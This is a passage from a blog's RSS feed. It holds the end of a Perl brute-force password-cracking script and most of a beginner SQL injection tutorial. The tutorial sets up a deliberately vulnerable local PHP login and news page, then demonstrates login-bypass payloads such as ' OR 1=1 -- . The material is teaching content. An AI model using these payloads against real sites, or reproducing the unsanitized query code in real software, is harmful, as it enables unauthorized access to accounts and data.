                 <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$time</span> <span style="color: #CCC;">+</span> <span style="color: #FFCC00;">900</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&lt;</span> <span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If 900 seconds have passed (15 minutes),</span>
      <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Trying: &quot;</span> <span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$basestring</span> <span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$char</span> <span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># print the current 'try'</span>
      <span style="color: #7AB9BE;">$time</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Reset the tiem</span>
    <span style="color: #CCC;">&#125;</span>
&nbsp;
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$found</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If the password was found,</span>
      <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Found: $found<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> 
      <span style="color: #996699;">exit</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #3D9EDD;">foreach</span> <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$basewidth</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$minlength</span> <span style="color: #CCC;">..</span> <span style="color: #7AB9BE;">$maxlength</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Loop through the possible lengths of the password</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Checking paswords with length $basewidth<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">&amp;recurse</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$basewidth</span><span style="color: #CCC;">,</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Call the cracking sub</span>
<span style="color: #CCC;">&#125;</span></pre></td></tr></table></div></div>

]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=897</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL injection tutorial (Hacking)</title>
		<link>http://kaabel.net/blog/?p=706</link>
		<comments>http://kaabel.net/blog/?p=706#comments</comments>
		<pubDate>Wed, 22 Dec 2010 14:45:22 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=706</guid>
		<description><![CDATA[SQL injection is a very common technique to hack websites. The necessary vulnerabilities exist, because input isn&#8217;t sanitized. There are many notorious examples, such as the attack on copyrightprotected.com by some Anonymous &#8220;member(s)&#8221; recently. In this tutorial, we&#8217;ll be using Apache and MySQL. Please consider this if you want to set it up for yourself. [...]]]></description>
			<content:encoded><![CDATA[<p>SQL injection is a very common technique to hack websites. The necessary vulnerabilities exist, because input isn&#8217;t <a href="http://imgs.xkcd.com/comics/exploits_of_a_mom.png">sanitized</a>. There are many notorious examples, such as the attack on <a href="http://pandalabs.pandasecurity.com/wp-content/uploads/2010/09/SQLiHack.jpg">copyrightprotected.com</a> by some Anonymous &#8220;member(s)&#8221; recently.<br />
In this tutorial, we&#8217;ll be using Apache and MySQL. Please consider <a href="https://wiki.archlinux.org/index.php/LAMP">this</a> if you want to set it up for yourself. Setting up a local website has helped me to understand MySQL injections and I strongly encourage you to try it as well.<br />
Furthermore, I will provide practical examples and explain <em>why</em> they work, because I feel that&#8217;s the best way to understand this technique. This tutorial does not intend to explain every possible SQL injection, it is more of an introduction, a tutorial explaining the basics. Once you&#8217;ll understand this, you can easily look for <a href="http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/">SQL injection cheat sheets</a> for more types of injections.<br />
<br />
<H2>A simple login injection</H2><br />
We&#8217;ll start of with an injection in a login form.<br />
<br />
<strong><font size="3px">Setup</font></strong><br />
The login form is located at <em>login.html</em>. The source code looks like this:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">HTML</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="html4strict" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #009900;">&lt;<span style="color: #996600;">html</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">title</span>&gt;</span>Vulnerable MySQL Website<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">title</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">H1</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">center</span>&gt;</span>Login<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">H1</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #996600;">form</span> <span style="color: #996699;">action</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'login.php'</span> <span style="color: #996699;">method</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'post'</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #996600;">p</span>&gt;&lt;<span style="color: #996600;">center</span>&gt;</span>Username: <span style="color: #009900;">&lt;<span style="color: #996600;">input</span> <span style="color: #996699;">type</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'text'</span> <span style="color: #996699;">name</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'username'</span><span style="color: #CCC;">/</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">p</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #996600;">p</span>&gt;&lt;<span style="color: #996600;">center</span>&gt;</span>Password: <span style="color: #009900;">&lt;<span style="color: #996600;">input</span> <span style="color: #996699;">type</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'text'</span> <span style="color: #996699;">name</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'password'</span><span style="color: #CCC;">/</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">p</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #996600;">p</span>&gt;&lt;<span style="color: #996600;">center</span>&gt;&lt;<span style="color: #996600;">input</span> <span style="color: #996699;">type</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">'submit'</span><span style="color: #CCC;">/</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">p</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">form</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">html</span>&gt;</span></pre></td></tr></table></div></div>

<p>As you can see, this is really simple form that takes an username and a password, these are then processed by <em>login.php</em>, which contains the following:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">&lt;html&gt;
&lt;title&gt;Vulnerable MySQL Website&lt;/title&gt;
&lt;body&gt;
&lt;H1&gt;
&lt;center&gt;Login&lt;/center&gt;
&lt;/H1&gt;
&nbsp;
<span style="color: #996600;">&lt;?php</span>
<span style="color: #33CC66;"># Get the username and password from the post variable.
</span><span style="color: #7AB9BE;">$username</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$_POST</span><span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'username'</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
<span style="color: #7AB9BE;">$password</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$_POST</span><span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'password'</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #7AB9BE;">$connect</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_connect</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'localhost'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'root'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'root'</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Connect to the MySQL database
</span><span style="color: #7AB9BE;">$database</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_select_db</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'website'</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$connect</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Select the appropriate database
</span><span style="color: #7AB9BE;">$result</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT id FROM users WHERE username='<span style="color: #99FF00;">$username</span>' AND password='<span style="color: #99FF00;">$password</span>'&quot;</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Run the MySQL query, further explanation will follow
</span><span style="color: #33CC66;">#echo &quot;SELECT id FROM users WHERE username='$username' AND password='$password'&quot;; # Echo the query (for debugging purposes)
</span>
<span style="color: #3D9EDD;">if</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">!</span><span style="color: #7AB9BE;">$result</span> or <span style="color: #CCC;">!</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$row</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_fetch_row</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$result</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #33CC66;"># If the query failed or if there's no result for the query ,
</span>  <span style="color: #996699;">die</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'&lt;H3&gt;&lt;center&gt;Invalid login credentials supplied, please go back and try again&lt;/center&gt;&lt;H3&gt;'</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Die with an error message
</span><span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #3D9EDD;">echo</span> <span style="color: #7ACC00;">'&lt;H3&gt;&lt;center&gt;Welcome!&lt;/center&gt;&lt;/H3&gt;'</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Otherwise, greet!
</span><span style="color: #CCC;">?&gt;</span>
&nbsp;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div></div>

<p>Okay, so <em>login.php</em> uses MySQL. Let&#8217;s take a look at our MySQL database and tables.<br />
I log in with: <em>mysql -u root -p</em> and then select the database: <em>USE website;</em>.<br />
Now, <em>DESCRIBE users;</em> returns the following:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; DESCRIBE users;
+----------+-------------+------+-----+---------+-------+
| Field    | Type        | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| id       | int(11)     | YES  |     | NULL    |       |
| username | varchar(35) | YES  |     | NULL    |       |
| password | varchar(35) | YES  |     | NULL    |       |
+----------+-------------+------+-----+---------+-------+</pre></td></tr></table></div></div>

<p>We can conclude that the table users contains three fields (it is more common to refer to these as columns, so I will do that from now on), <em>id</em>, <em>username</em> and <em>password</em>. Let&#8217;s see what the MySQL query in <em>login.php</em> does.</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><div class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT id FROM users WHERE username='<span style="color: #99FF00;">$username</span>' AND password='<span style="color: #99FF00;">$password</span>'&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span></pre></div></div></div>

<p>This query selects an id from the table users. The id belongs to the username provided in combination with the password. Let&#8217;s say the table looks like this:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | root     | root     |
|    2 | username | password |
+------+----------+----------+</pre></td></tr></table></div></div>

<p>Running <em>SELECT id FROM users WHERE username=&#8217;root&#8217; AND password=&#8217;root&#8217;</em> will return 1, as id.<br />
However, running <em>SELECT id FROM users WHERE username=&#8217;root&#8217; and password=&#8217;I have no clue&#8217;</em> won&#8217;t return anything, because the username/password combination is invalid, hence there is no database entry for such a query.<br />
<br />
<strong><font size="3px">Exploiting the vulnerability</font></strong><br />
The script seems to do a good job. However, what happens if we break the script?<br />
Let&#8217;s input <em>&#8216;break!</em> as username in <em>login.html</em>, the query in <em>login.php</em> then becomes:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><div class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT id FROM users WHERE username=''break! AND password='I have no clue'&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># I have substituted $username and $password for their contents here</span></pre></div></div></div>

<p>The page reports: (notice <em>or die(mysql_error())</em>):</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><div class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'break' and password='I have no clue'' at line 1</pre></div></div></div>

<p>This is because it ends up with an extra single quote. Below, it shows with colours which quotes &#8216;close eachother&#8217;.<br />
When there&#8217;s no error:<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT id FROM users WHERE username=<strong><font color='#009900'>&#8216;</font></strong>root<strong><font color='#009900'>&#8216;</font></strong> AND password=<strong><font color='#6495ed'>&#8216;</font></strong>I have no clue<strong><font color='#6495ed'>&#8216;</font></strong><strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
When there is an error (a.k.a. malicious input):<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT id FROM users WHERE username=<strong><font color='#009900'>&#8216;</font></strong><strong><font color='#009900'>&#8216;</font></strong>break!<strong><font color='#edd400'>&#8216;</font></strong> AND password=<strong><font color='#edd400'>&#8216;</font></strong>I have no clue<strong><font color='#6495ed'>&#8216;</font></strong><strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
This causes an error, because a) a quote remains &#8216;unclosed&#8217; and b) because the query has become invalid, for example, <em>break!</em> is not a string here, but it&#8217;s not recognized as a MySQL statement, so it fails.<br />
This is a very common way to check for SQL vulnerabilities.<br />
<br />
How do we exploit this vulnerability?<br />
The script only checks for <em>a</em> result, not a specific result, so any result will do. A very common technique will come in handy now: <em>OR 1=1</em>.<br />
<em>1=1</em> is always true, therefore the entire expression will be true, no matter what happens first. Remember we only had two users in our <em>users</em> table? Take a look at this (<em>SELECT * </em>selects everything):</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT * FROM users WHERE id=3 OR 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | root     | root     |
|    2 | username | password |
+------+----------+----------+</pre></td></tr></table></div></div>

<p>So, although there the first expression wouldn&#8217;t supply us with any result, since there is no user with the id 3, the <em>OR 1=1</em> makes it return everything in the table!<br />
<br />
Now, how to combine this with the MySQL statement?</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><div class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT id FROM users WHERE username='break!' AND password='OR 1=1'&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Substituted $username and $password again</span></pre></div></div></div>

<p>You might have thought this would work, but it doesn&#8217;t. Simply, because <em>OR 1=1</em> isn&#8217;t recognized as a statement but as the string part of the <em>WHERE password=</em> clause.<br />
So, we need some way to &#8216;end this string&#8217;. This is where the quote comes in!<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT id FROM users WHERE username=<strong><font color='#009900'>&#8216;</font></strong>break!<strong><font color='#009900'>&#8216;</font></strong> AND password=<strong><font color='#edd400'>&#8216;</font></strong><strong><font color='#edd400'>&#8216;</font></strong>OR 1=1<strong><font color='#6495ed'>&#8216;</font></strong><strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
The second yellow quote is the one we put in. Although we have successfully &#8216;enclosed&#8217; the password string, we&#8217;re still left with an &#8216;unclosed&#8217; quote. The right blue one (without our quote it would have matched the first yellow quote). So, what to do? There are multiple ways to tackle this problem, one way being:<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT id FROM users WHERE username=<strong><font color='#009900'>&#8216;</font></strong>break!<strong><font color='#009900'>&#8216;</font></strong> AND password=<strong><font color='#edd400'>&#8216;</font></strong><strong><font color='#edd400'>&#8216;</font></strong>or <strong><font color='#ce5c001'>&#8216;</font></strong>1<strong><font color='#ce5c001'>&#8216;</font></strong>=<strong><font color='#6495ed'>&#8216;</font></strong>1<strong><font color='#6495ed'>&#8216;</font></strong><strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
We changed <em>OR 1=1</em> to <em>OR &#8217;1&#8242;=&#8217;1</em> and the final closing quote will be put in by the PHP script.<br />
Another way is to use a comment, <em> &#8212; </em> (<strong>double</strong> dashes) in MySQL.<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT id FROM users WHERE username=<strong><font color='#009900'>&#8216;</font></strong>break!<strong><font color='#009900'>&#8216;</font></strong> AND password=<strong><font color='#edd400'>&#8216;</font></strong><strong><font color='#edd400'>&#8216;</font></strong>OR 1=1 &#8212;  <strong><font color='#6495ed'>&#8216;</font></strong><strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
Again, double dashes. Also, there is a space <em>after</em> the double dashes, <strong>don&#8217;t</strong> leave it out as it will <strong>not</strong> work that way. Your browser might truncate this last space, to ensure it stays there, try adding some arbitrary data after it, for example: <em>&#8216; OR 1=1 &#8212; blah</em><br />
<br />
Anything entered after the double dashes, will be regarded a comment by MySQL, thus reducing the final &#8216;unclosed&#8217; quote to a mere comment!<br />
Remember, the red/double quotes are just there for PHP, they are <em>not</em> part of the actual MySQL statement!<br />
(Of course, you could enter <em>&#8216;OR 1=1 &#8212; </em> in the username column, rendering the <em>AND password=</em> section as a comment.)<br />
<br />
Both ways work and will reward us with a successful login!<br />
<br />
<H2>Another, slightly more difficult example</H2><br />
The following situation is very common on websites vulnerable to SQL injection.<br />
<br />
<strong><font size="3px">Setup</font></strong><br />
We&#8217;ve got a website that retrieves news articles using PHP&#8217;s GET. So, <em>http://localhost/index.php?id=1</em> would retrieve the news article belonging to id 1. <em>index.php</em> looks like this:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">&lt;html&gt;
&lt;title&gt;Vulnerable MySQL Website&lt;/title&gt;
&lt;body&gt;
&lt;H1&gt;
&lt;center&gt;News&lt;/center&gt;
&lt;/H1&gt;
<span style="color: #996600;">&lt;?php</span>
<span style="color: #3D9EDD;">if</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">isset</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$_GET</span><span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'id'</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #33CC66;"># If an id is specified
</span>  <span style="color: #7AB9BE;">$id</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$_GET</span><span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'id'</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
        <span style="color: #33CC66;"># Prepare the MySQL connection and stuff, see login.php
</span>  <span style="color: #7AB9BE;">$connect</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_connect</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'localhost'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'root'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'root'</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$database</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_select_db</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'website'</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$connect</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$result</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT * FROM news WHERE id='<span style="color: #99FF00;">$id</span>'&quot;</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #33CC66;">#echo &quot;SELECT * FROM news WHERE id=$id &lt;br&gt;&quot;; # Echo the query (for debugging purposes)
</span>  <span style="color: #3D9EDD;">while</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$row</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_fetch_assoc</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$result</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #33CC66;"># While there's another row in the result, fetch it
</span>    <span style="color: #3D9EDD;">echo</span> <span style="color: #7ACC00;">&quot;&lt;H3&gt;&lt;center&gt;&quot;</span> <span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$row</span><span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'text'</span><span style="color: #CCC;">&#93;</span> <span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;&lt;/center&gt;&lt;br&gt;&lt;/H3&gt;&quot;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># and print the row in the contents of the column named text
</span>  <span style="color: #CCC;">&#125;</span>
&nbsp;
  <span style="color: #3D9EDD;">include</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;menu.html&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> 
<span style="color: #CCC;">&#125;</span>
<span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #7AB9BE;">$id</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">'index.php?id=1'</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># If no id is specified, a.k.a. http://localhost/index.php or something similar
</span>  <span style="color: #996699;">header</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;Location: http://localhost/<span style="color: #99FF00;">$id</span>&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Make the url: http://localhost/index.php?id=1
</span><span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">?&gt;</span>
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div></div>

<p><em>menu.html</em> contains the following:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">HTML</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="html4strict" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #009900;">&lt;<span style="color: #996600;">center</span>&gt;&lt;<span style="color: #996600;">a</span> <span style="color: #996699;">href</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">&quot;index.php?id=1&quot;</span>&gt;</span>First entry<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">a</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">center</span>&gt;&lt;<span style="color: #996600;">a</span> <span style="color: #996699;">href</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">&quot;index.php?id=2&quot;</span>&gt;</span>Second entry<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">a</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">center</span>&gt;&lt;<span style="color: #996600;">a</span> <span style="color: #996699;">href</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">&quot;index.php?id=3&quot;</span>&gt;</span>Third entry<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">a</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #996600;">center</span>&gt;&lt;<span style="color: #996600;">a</span> <span style="color: #996699;">href</span><span style="color: #CCC;">=</span><span style="color: #7ACC00;">&quot;login.html&quot;</span>&gt;</span>Login<span style="color: #009900;">&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">a</span>&gt;&lt;<span style="color: #CCC;">/</span><span style="color: #996600;">center</span>&gt;</span></pre></td></tr></table></div></div>

<p>On to the table&#8230;</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
